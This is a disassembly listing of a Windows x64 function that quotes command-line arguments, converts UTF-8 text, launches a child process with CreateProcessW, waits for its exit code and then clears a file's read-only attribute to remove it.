mov r13d, dword [rbp + 0xe0]
cmp r13d, dword [rdi + 4]
jge 0x14000276f
mov r14d, dword [rbp + 0xd8]
mov ebx, dword [rbp + 0xdc]
xor r15d, r15d
cmp r14d, 0x22
je 0x1400024c0
cmp r14d, 0x5c
jne 0x140002536
inc r15d
jo 0x140002ebf
mov byte [rbp + 0x127], r14b
cmp dword [r12 + 8], 0
je 0x1400024e7
mov rcx, r12
mov edx, 1
xor r8d, r8d
lea r9, [rbp + 0x127]
jmp 0x140002606
inc r15d
lea rsi, [rbp + 0xd0]
jo 0x140002ebf
test r15d, r15d
jg 0x14000250f
xor r15d, r15d
mov byte [rbp + 0x127], r14b
cmp dword [r12 + 8], 0
jne 0x1400024a2
mov rcx, r12
mov edx, r14d
call fcn.1400065f0
jmp 0x14000260b
mov rcx, r12
mov dl, 0x5c
call fcn.1400065f0
dec r15d
je 0x140002536
mov byte [rbp + 0xd0], 0x5c
cmp dword [r12 + 8], 0
je 0x140002500
mov rcx, r12
mov edx, 1
xor r8d, r8d
mov r9, rsi
call fcn.1400061d0
dec r15d
jne 0x14000250f
cmp r14d, 0x7f
jg 0x140002550
cmp r14d, 0x100
jae 0x140002ebf
jmp 0x1400024d5
mov eax, r14d
cmp r14d, 0x800
jae 0x140002573
shr eax, 6
or al, 0xc0
mov byte [rbp + 0xd0], al
mov edx, 2
mov eax, 1
jmp 0x1400025e6
cmp r14d, 0x10000
jae 0x1400025a3
shr eax, 0xc
or al, 0xe0
mov byte [rbp + 0xd0], al
mov eax, r14d
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rbp + 0xd1], al
mov edx, 3
mov eax, 2
jmp 0x1400025e6
shr eax, 0x12
or eax, 0xf0
cmp eax, 0xff
ja 0x140002ebf
mov byte [rbp + 0xd0], al
mov eax, r14d
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [rbp + 0xd1], al
mov eax, r14d
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rbp + 0xd2], al
mov edx, 4
mov eax, 3
and r14b, 0x3f
or r14b, 0x80
mov byte [rbp + rax + 0xd0], r14b
xor r15d, r15d
mov rcx, r12
xor r8d, r8d
lea r9, [rbp + 0xd0]
call fcn.1400061d0
add r13d, ebx
jo 0x140002ebf
movsxd rax, r13d
movzx r8d, byte [rdi + rax + 0xc]
movzx eax, r8b
mov ebx, 1
test al, al
js 0x140002640
mov r14d, eax
jmp 0x140002760
mov r14d, 0xfffd
cmp r8b, 0xc2
jb 0x140002760
mov ecx, r13d
inc ecx
jo 0x140002ebf
movsxd rcx, ecx
movzx r9d, byte [rdi + rcx + 0xc]
movzx ecx, r9b
mov edx, ecx
and edx, 0xffffffc0
cmp edx, 0x80
jne 0x140002760
cmp r8b, 0xdf
ja 0x140002694
shl eax, 6
lea r14d, [rax + rcx - 0x3080]
mov ebx, 2
jmp 0x140002760
mov edx, r13d
add edx, 2
jo 0x140002ebf
movsxd rdx, edx
movzx edx, byte [rdi + rdx + 0xc]
mov r10d, edx
and r10d, 0xffffffc0
cmp r10d, 0x80
jne 0x140002760
cmp r8b, 0xef
ja 0x1400026f9
cmp r8b, 0xe0
jne 0x1400026d2
cmp r9b, 0xa0
jb 0x140002760
cmp r8b, 0xed
jne 0x1400026e2
cmp r9b, 0x9f
ja 0x140002760
shl eax, 0xc
shl ecx, 6
add ecx, eax
lea r14d, [rdx + rcx - 0xe2080]
mov ebx, 3
jmp 0x140002760
cmp r8b, 0xf0
jne 0x140002705
cmp r9b, 0x90
jb 0x140002760
cmp r8b, 0xf4
jne 0x140002711
cmp r9b, 0x8f
ja 0x140002760
mov r9d, r13d
add r9d, 3
jo 0x140002ebf
cmp r8b, 0xf4
ja 0x140002760
movsxd r8, r9d
movzx r8d, byte [rdi + r8 + 0xc]
mov r9d, r8d
and r9d, 0xffffffc0
cmp r9d, 0x80
jne 0x140002760
shl eax, 0x12
shl ecx, 0xc
shl edx, 6
add edx, eax
add edx, ecx
lea r14d, [r8 + rdx - 0x3c82080]
mov ebx, 4
nop word [rax + rax]
cmp r13d, dword [rdi + 4]
jl 0x14000247a
jmp 0x14000276f
xor r15d, r15d
cmp byte [rbp + 0x108], 0
mov rdi, qword [rbp + 0x110]
lea rsi, [rbp + 0xd0]
je 0x1400021c0
test r15d, r15d
jg 0x1400027af
jmp 0x1400027d6
mov rcx, r12
mov dl, 0x5c
call fcn.1400065f0
dec r15d
je 0x1400027d6
mov byte [rbp + 0xd0], 0x5c
cmp dword [r12 + 8], 0
je 0x1400027a0
mov rcx, r12
mov edx, 1
xor r8d, r8d
mov r9, rsi
call fcn.1400061d0
dec r15d
jne 0x1400027af
mov byte [rbp + 0xd0], 0x22
cmp dword [r12 + 8], 0
je 0x1400021b6
mov rcx, r12
mov edx, 1
xor r8d, r8d
lea r9, [rbp + 0xd0]
call fcn.1400061d0
jmp 0x1400021c0
mov rcx, r12
call fcn.140006760
mov rbx, rax
mov eax, dword [rbx + 4]
dec eax
jo 0x140002ebf
js 0x14000284b
cmp byte [rbx + 0xc], 0
je 0x140002e36
xor ecx, ecx
nop dword [rax]
cmp eax, ecx
je 0x14000284b
inc ecx
jo 0x140002ebf
movsxd rdx, ecx
cmp byte [rbx + rdx + 0xc], 0
jne 0x140002830
jmp 0x140002e36
mov rcx, rbx
call fcn.140004c00
mov rdx, rcx
lea rax, [rbp + 0x40]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 1
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
call sub.KERNEL32.dll_CreateProcessW
test eax, eax
je 0x1400030d9
mov rcx, qword [rbp + 0x48]
call sub.KERNEL32.dll_CloseHandle
test eax, eax
je 0x140002fff
mov rcx, qword [rbp + 0xb0]
call sub.KERNEL32.dll_CloseHandle
test eax, eax
je 0x140002fff
mov rcx, qword [rbp + 0xb8]
call sub.KERNEL32.dll_CloseHandle
test eax, eax
je 0x140002fff
mov rcx, qword [rbp + 0xc0]
call sub.KERNEL32.dll_CloseHandle
test eax, eax
je 0x140002fff
mov rax, qword [rbp + 0x40]
mov rcx, qword [rbp + 0x50]
mov rdx, qword [rbp + 0x118]
mov qword [rdx + 0x20], rcx
mov qword [rdx + 0x28], rax
mov rcx, qword [rbp + 0x30]
cmp qword [0x140162200], rcx
je 0x140002915
call fcn.140018770
mov rcx, qword [0x140161f48]
lea rdx, [0x140162228]
lea r8, [0x14001aa40]
call fcn.140020300
mov rcx, qword [rbp + 0x38]
cmp qword [0x140162220], rcx
je 0x140002941
call fcn.140018770
mov rcx, qword [0x140161f48]
lea rdx, [0x140162238]
lea r8, [0x14001b3c0]
call fcn.140020300
mov rcx, qword [rbp + 0x28]
cmp qword [0x140162230], rcx
je 0x14000296d
call fcn.140018770
mov qword [rsp + 0x20], 0
lea rdx, [0x140020150]
mov rsi, qword [rbp + 0x118]
mov rcx, rsi
xor r8d, r8d
xor r9d, r9d
call fcn.140022880
mov rcx, qword [rsi + 8]
test rcx, rcx
je 0x1400029a0
call fcn.140018770
mov rax, qword [rbp + 0x118]
mov eax, dword [rax + 0x30]
mov dword [rbp + 0xc8], eax
xorps xmm6, xmm6
mov r12d, 2
xor r13d, r13d
jmp 0x1400029e0
mov rcx, qword [rdx + 0x10]
mov rbx, qword [rdx + 0x18]
mov dword [rdx + 0x20], 1
call fcn.14001bb60
test rbx, rbx
jne 0x140002f65
inc r13d
cmp r13d, dword [rbp + 0xc8]
jge 0x140002d84
mov rax, qword [rbp + 0x118]
mov r14, qword [rax + 0x38]
test r14, r14
je 0x140002f59
mov qword [rbp + 0x88], 0
movaps xmmword [rbp + 0x60], xmm6
movaps xmmword [rbp + 0x70], xmm6
mov dword [rbp + 0x80], 0
mov rsi, qword [r14 + 8]
test rsi, rsi
je 0x140002b07
cmp dword [rsi + 8], 0
je 0x140002b07
mov rax, qword [rsi + 0x10]
movsxd rcx, dword [rsi + 4]
mov rbx, qword [rax + rcx*8]
mov qword [rax + rcx*8], 0
mov eax, dword [rsi + 8]
dec eax
jo 0x140002ec4
mov dword [rsi + 8], eax
mov eax, dword [rsi + 4]
inc eax
jo 0x140002ec9
mov dword [rsi + 4], eax
sub eax, dword [rsi + 0xc]
jl 0x140002a80
jo 0x140002ece
mov dword [rsi + 4], eax
nop word cs:[rax + rax]
nop dword [rax]
mov rdi, qword [r14 + 0x20]
test rdi, rdi
je 0x1400029d4
mov rax, qword [rdi + 8]
cmp rax, rdi
je 0x140002ac0
mov qword [r14 + 0x20], rax
mov rcx, qword [rdi]
mov qword [rcx + 8], rax
mov qword [rax], rcx
mov rcx, qword [rdi + 0x28]
test rcx, rcx
jne 0x140002ad5
jmp 0x140002bec
mov qword [r14 + 0x20], 0
mov rcx, qword [rdi + 0x28]
test rcx, rcx
je 0x140002bec
mov rdx, qword [rcx + 8]
mov eax, 1
lock cmpxchg dword [rdx + 4], r12d
je 0x140002be8
mov dword [rdi + 0x20], 1
mov rdi, qword [r14 + 0x20]
test rdi, rdi
jne 0x140002a8d
jmp 0x1400029d4
mov dword [rdx + 0x20], 1
mov rdx, qword [r14 + 0x20]
test rdx, rdx
je 0x140002b70
mov rax, qword [rdx + 8]
cmp rax, rdx
je 0x140002b40
mov qword [r14 + 0x20], rax
mov rcx, qword [rdx]
mov qword [rcx + 8], rax
mov qword [rax], rcx
mov rcx, qword [rdx + 0x28]
test rcx, rcx
jne 0x140002b55
jmp 0x1400029c0
mov qword [r14 + 0x20], 0
mov rcx, qword [rdx + 0x28]
test rcx, rcx
je 0x1400029c0
mov r8, qword [rcx + 8]
mov eax, 1
lock cmpxchg dword [r8 + 4], r12d
jne 0x140002b00
mov byte [rcx + 0x18], 1
jmp 0x1400029c0
cmp byte [r14 + 0x1c], 0
jne 0x140002f81
call fcn.140019380
mov rcx, rax
call fcn.1400199d0
mov rax, qword [rax + 0x28]
mov qword [rbp + 0x70], rax
mov rax, qword [r14 + 0x28]
test rax, rax
je 0x140002ba9
mov rcx, qword [rax]
lea rdx, [rbp + 0x60]
mov qword [rcx + 8], rdx
mov r14, rax
jmp 0x140002bb7
add r14, 0x28
lea rdx, [rbp + 0x60]
mov rcx, rdx
mov rax, rdx
mov qword [rbp + 0x60], rcx
mov qword [rbp + 0x68], rax
mov qword [r14], rdx
call fcn.14001a250
mov eax, dword [rbp + 0x80]
cmp eax, 1
jne 0x140002ef6
mov rbx, qword [rbp + 0x78]
test rbx, rbx
je 0x1400029dd
jmp 0x140002f79
mov byte [rcx + 0x18], 1
mov r15, qword [rdi + 0x18]
mov r14d, dword [rsi + 0xc]
cmp dword [rsi + 8], r14d
jl 0x140002d04
test r14d, r14d
je 0x140002c17
mov eax, r14d
add eax, 0x40000000
js 0x140002edd
lea eax, [r14 + r14]
jmp 0x140002c1c
mov eax, 4
mov dword [rsi + 0xc], eax
mov rcx, qword [rsi + 0x10]
test rcx, rcx
mov qword [rbp + 0x108], r15
je 0x140002cd2
test eax, eax
js 0x140003034
mov edx, eax
shl rdx, 3
call fcn.1400246a0
mov qword [rsi + 0x10], rax
mov ecx, dword [rsi + 4]
mov edx, dword [rsi + 8]
add edx, ecx
jo 0x140002ee2
sub edx, r14d
mov r15, qword [rbp + 0x108]
jle 0x140002d04
jo 0x140002ee7
mov r8d, r14d
sub r8d, ecx
jo 0x140002eec
cmp r8d, ecx
jge 0x140002d48
mov r9d, dword [rsi + 0xc]
sub r9d, r8d
jo 0x140002ef1
test r8d, r8d
js 0x1400032e1
movsxd rcx, ecx
lea rdx, [rax + rcx*8]
movsxd r15, r9d
lea rcx, [rax + r15*8]
mov r14d, r8d
shl r14, 3
mov r8, r14
call fcn.1400434e0
movsxd rcx, dword [rsi + 4]
shl rcx, 3
add rcx, qword [rsi + 0x10]
xor edx, edx
mov r8, r14
call fcn.140043b80
mov dword [rsi + 4], r15d
jmp 0x140002cfd
test eax, eax
js 0x14000328f
mov r14d, eax
shl r14, 3
mov rcx, r14
call fcn.1400217e0
mov r15, rax
mov rcx, rax
xor edx, edx
mov r8, r14
call fcn.140043b80
mov qword [rsi + 0x10], r15
mov r15, qword [rbp + 0x108]
mov eax, dword [rsi + 4]
add eax, dword [rsi + 8]
jo 0x140002d7f
mov ecx, eax
sub ecx, dword [rsi + 0xc]
jl 0x140002d1b
jo 0x140002ed8
mov eax, ecx
mov rcx, qword [rsi + 0x10]
cdqe
mov qword [rcx + rax*8], r15
mov eax, dword [rsi + 8]
inc eax
jo 0x140002ed3
mov dword [rsi + 8], eax
mov dword [rdi + 0x20], 1
mov rcx, qword [rdi + 0x10]
call fcn.14001bb60
jmp 0x1400029d4
test edx, edx
js 0x140003333
movsxd rcx, r14d
lea rcx, [rax + rcx*8]
mov r14d, edx
shl r14, 3
mov rdx, rax
mov r8, r14
call fcn.1400434e0
mov rcx, qword [rsi + 0x10]
xor edx, edx
mov r8, r14
call fcn.140043b80
mov eax, dword [rsi + 4]
add eax, dword [rsi + 8]
jno 0x140002d0c
call fcn.140003510
mov rax, qword [rbp + 0x118]
mov dword [rax + 0x30], 0
mov rcx, qword [rax + 0x28]
mov edx, 0xffffffff
call sub.KERNEL32.dll_WaitForSingleObject
test eax, eax
jne 0x140003117
xor ecx, ecx
mov edx, 0x4c4b40
call fcn.14001c230
mov rax, qword [rbp + 0x118]
mov rcx, qword [rax + 0x28]
lea rdx, [rbp + 0x60]
call sub.KERNEL32.dll_GetExitCodeProcess
test eax, eax
je 0x1400031a3
mov esi, dword [rbp + 0x60]
cmp esi, 0x103
mov rdi, qword [rbp + 0x110]
je 0x14000322f
mov ecx, 8
call fcn.1400217f0
mov qword [rax], 0x9f
mov dword [rax + 4], esi
mov rcx, qword [rbp + 0x118]
call fcn.140020240
mov eax, dword [rdi + 4]
dec eax
jo 0x140002ebf
js 0x140002e4b
cmp byte [rdi + 0xc], 0
je 0x140002e36
xor ecx, ecx
nop dword [rax + rax]
cmp eax, ecx
je 0x140002e4b
inc ecx
jo 0x140002ebf
movsxd rdx, ecx
cmp byte [rdi + rdx + 0xc], 0
jne 0x140002e20
call fcn.1400083f0
mov rcx, rax
call fcn.140003710
mov rcx, rax
call fcn.140003770
mov rcx, rdi
call fcn.140004c00
mov rdi, rcx
call sub.KERNEL32.dll_GetFileAttributesW
cmp eax, 0xffffffff
je 0x14000323b
mov ebx, eax
test bl, 1
jne 0x140002e6f
xor esi, esi
jmp 0x140002e82
mov edx, ebx
and edx, 0xfffffffe
mov rcx, rdi
call sub.KERNEL32.dll_SetFileAttributesW
test eax, eax
setne sil
mov eax, ebx
not eax
mov rcx, rdi
test eax, 0x410
jne 0x140002e97
call fcn.140046b3c
jmp 0x140002e9c
call fcn.140046b8c
test eax, eax
jne 0x14000326c
movaps xmm6, xmmword [rbp + 0x140]
add rsp, 0x1d8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call fcn.140003510
call fcn.140003510
call fcn.140003510
call fcn.140003510
call fcn.140003510
call fcn.140003510
call fcn.140003510
call fcn.140003510
call fcn.140003510
call fcn.140003510
call fcn.140003510
test eax, eax
je 0x140002fd3
cmp eax, 2
jne 0x140002fdf
mov ecx, 0x30
call fcn.1400217e0
mov qword [rax + 0xc], 0
mov qword [rax + 4], 0
mov dword [rax + 0x2c], 0
mov qword [rax + 0x24], 0
mov qword [rax + 0x1c], 0
mov qword [rax + 0x14], 0
mov dword [rax], 0x36
lea rcx, [0x1400622e0]
mov qword [rax + 8], rcx
mov rcx, rax
call fcn.1400201a0
lea rcx, [0x140062240]
call fcn.140005440
cmp dword [rbx], 0x245
jne 0x140002f79
lea rcx, [0x140062290]
call fcn.140005440
mov rcx, rbx
call fcn.1400201f0
mov ecx, 0x30
call fcn.1400217e0
mov qword [rax + 0xc], 0
mov qword [rax + 4], 0
mov dword [rax + 0x2c], 0
mov qword [rax + 0x24], 0
mov qword [rax + 0x1c], 0
mov qword [rax + 0x14], 0
mov dword [rax], 0x36
lea rcx, [0x1400622e0]
mov qword [rax + 8], rcx
mov rcx, rax
call fcn.1400201a0
lea rcx, [0x140062300]
call fcn.140005440
lea rcx, [0x140062350]
call fcn.140005440
lea rcx, [0x140060f10]
call fcn.1400131e0
mov rcx, rax
call fcn.140007460
lea rcx, [0x140062220]
call fcn.1400131e0
mov rcx, rax
call fcn.140007460
lea rcx, [0x1400618a0]
call fcn.1400073f0
mov rcx, rax
call fcn.140007460
call fcn.140005390
mov rcx, rax
call fcn.1400053f0
mov ecx, 0x30
call fcn.1400217e0
mov qword [rax + 0xc], 0
mov qword [rax + 4], 0
mov dword [rax + 0x2c], 0
mov qword [rax + 0x24], 0
mov qword [rax + 0x1c], 0
mov qword [rax + 0x14], 0
mov dword [rax], 0x22
lea rcx, [0x1400602f0]
mov qword [rax + 8], rcx
mov rcx, rax
call fcn.140003770
lea rcx, [0x1400601a0]
call fcn.140003710
mov rcx, rax
call fcn.140003770
lea rcx, [0x140061bc0]
call fcn.14001e7c0
lea rcx, [0x140061be0]
mov rdx, rax
call fcn.1400146a0
mov rcx, rax
call fcn.14001edd0
mov rcx, rax
call fcn.14001ee30
lea rcx, [0x140061620]
call fcn.140018f00
mov rcx, rax
call fcn.140018f70
call sub.KERNEL32.dll_GetLastError
mov esi, eax
mov ecx, eax
call fcn.14001f7b0
cmp eax, 0xd
ja 0x140003385
mov ecx, 0x2104
bt ecx, eax
jae 0x140003385
lea rcx, [0x1400621c0]
mov edx, esi
mov r8, rbx
call fcn.1400085d0
mov rcx, rax
call fcn.14000a260
call sub.KERNEL32.dll_GetLastError
mov esi, eax
mov ecx, eax
call fcn.140005a90
lea rcx, [0x1400623a0]
lea rdx, [0x140060258]
mov r8, rax
call fcn.1400047a0
mov rdi, rax
mov ecx, 0x40
call fcn.1400217e0
mov qword [rax + 0xc], 0
mov qword [rax + 4], 0
mov qword [rax + 0x2c], 0
mov qword [rax + 0x34], 0
mov dword [rax + 0x3c], 0
mov qword [rax + 0x24], 0
mov qword [rax + 0x1c], 0
mov qword [rax + 0x14], 0
mov dword [rax], 0x2a
mov qword [rax + 8], rdi
mov dword [rax + 0x30], 0x590
mov dword [rax + 0x38], esi
mov rcx, rax
call fcn.140007460
call sub.KERNEL32.dll_GetLastError
mov esi, eax
mov ecx, eax
call fcn.140005a90
lea rcx, [0x1400623c0]
lea rdx, [0x140060258]
mov r8, rax
call fcn.1400047a0
mov rdi, rax
mov ecx, 0x40
call fcn.1400217e0
mov qword [rax + 0xc], 0
mov qword [rax + 4], 0
mov qword [rax + 0x2c], 0
mov qword [rax + 0x34], 0
mov dword [rax + 0x3c], 0
mov qword [rax + 0x24], 0
mov qword [rax + 0x1c], 0
mov qword [rax + 0x14], 0
mov dword [rax], 0x2a
mov qword [rax + 8], rdi
mov dword [rax + 0x30], 0x590
mov dword [rax + 0x38], esi
mov rcx, rax
call fcn.140007460
lea rcx, [0x1400623e0]
call fcn.140005440
lea rdi, [0x140062410]
mov rcx, rdi
mov rsi, qword [rbp + 0x110]
mov rdx, rsi
call fcn.14001f430
mov rcx, rdi
mov edx, 2
mov r8, rsi
call fcn.1400149b0
mov rcx, rax
call fcn.14000a260
test sil, sil
je 0x14000327b
mov rcx, rdi
mov edx, ebx
call sub.KERNEL32.dll_SetFileAttributesW
mov rcx, qword [rbp + 0x110]
call fcn.1400202b0
mov rcx, rax
call fcn.14000a260
mov ecx, 0x30
call fcn.1400217e0
mov qword [rax + 0xc], 0
mov qword [rax + 4], 0
mov dword [rax + 0x2c], 0
mov qword [rax + 0x24], 0
mov qword [rax + 0x1c], 0
mov qword [rax + 0x14], 0
mov dword [rax], 0x22
lea rcx, [0x1400600d0]
mov qword [rax + 8], rcx
mov rcx, rax
call fcn.140003770
mov ecx, 0x30
call fcn.1400217e0
mov qword [rax + 0xc], 0
mov qword [rax + 4], 0
mov dword [rax + 0x2c], 0
mov qword [rax + 0x24], 0
mov qword [rax + 0x1c], 0
mov qword [rax + 0x14], 0
mov dword [rax], 0x22
lea rcx, [0x1400600b0]
mov qword [rax + 8], rcx
mov rcx, rax
call fcn.140003770
mov ecx, 0x30
call fcn.1400217e0
mov qword [rax + 0xc], 0
mov qword [rax + 4], 0
mov dword [rax + 0x2c], 0
mov qword [rax + 0x24], 0
mov qword [rax + 0x1c], 0
mov qword [rax + 0x14], 0
mov dword [rax], 0x22
lea rcx, [0x1400600b0]
mov qword [rax + 8], rcx
mov rcx, rax
call fcn.140003770
lea rcx, [0x1400621f0]
lea r8, [0x140060568]
mov rdx, rbx
call fcn.1400047a0
mov rcx, rax
mov edx, esi
call fcn.140019c70
mov rcx, rax
call fcn.140018f70
lea rcx, [0x140060800]
mov rdx, qword [rbp + 0x118]
call fcn.140014fe0
jmp 0x140001656